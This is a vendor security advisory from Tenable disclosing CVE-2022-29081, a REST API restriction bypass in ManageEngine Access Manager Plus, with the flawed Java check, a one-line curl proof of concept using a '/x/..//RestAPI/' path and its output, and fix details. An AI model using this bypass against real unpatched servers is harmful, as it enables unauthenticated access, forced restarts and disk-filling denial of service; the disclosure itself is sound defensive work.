Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

ManageEngine Access Manager Plus REST API Restriction Bypass

High

Synopsis

A researcher at Tenable found an API restriction bypass vulnerability in ManageEngine Access Manager Plus (AMP) build 4301. The flaw results from HttpServletRequest.getRequestURI() not returning a normalized URI in com.manageengine.ads.fw.api.RestAPIUtil.isRestAPIRequest():

  public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
    String restApiUrlPattern = "/RestAPI/.*";
    try {
      restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
    } catch (Exception ex) {
      out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex);
    } 
    String reqURI = request.getRequestURI();
    String contextPath = (request.getContextPath() != null) ? request.getContextPath() : "";
    reqURI = reqURI.replace(contextPath, "");
    reqURI = reqURI.replace("//", "/");
    return Pattern.matches(restApiUrlPattern, reqURI);
  }
}

<...snip...>
      if (RestAPIUtil.isRestAPIRequest(request, this.filterParams) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig))
        return false; 
<...snip...>

An unauthenticated remote attacker can exploit this to bypass checks on REST API URLs by using a URL like '/x/../RestAPI/'. This allows the attacker to access certain REST APIs that are not normally accessible.

The actions the attacker can do with these REST APIs include, but are not limited to, restarting the AMP server, creating a large number of attacker-controlled certificate files (i.e., to fill up the file system), and viewing information that is otherwise inaccessible.

Proof of Concept:

# Get license details
curl --path-as-is -sk -d 'operation=getLicenseDetails' 'https://<amp-host>:9292/x/..//RestAPI/LicenseMgr'
{"BUILD_NO":"4301","LICENSE_TO":"ManageEngine","COMPONENT_DETAILS":{"Days to Expire":"23days.","Number of Users":10},"VERSION":"4.3.0","LICENSE_TYPE":"Standard Edition - Trial Version","LICENSE_TYPE_CODE":"T","PRODUCT_NAME":"AccessManagerPlus"}

Solution

ManageEngine has fixed this issue in Access Manager Plus version 4.3 Build 4302.

Disclosure Timeline

11 April, 2022 - Vulnerability reported
12 April, 2022 - ManageEngine acknowledges
13 April 2022 - ManagEngine releases a hotfix for the issue, does not inform Tenable
27 April, 2022 - Tenable notes hotfix, publishes advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2022-29081
Tenable Advisory ID: TRA-2022-14
CVSSv3 Base / Temporal Score:
8.6
CVSSv3 Vector:
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Affected Products:
ManageEngine Access Manager < 4.3 Build 4302
Risk Factor:
High

Advisory Timeline

27 April, 2022 - Published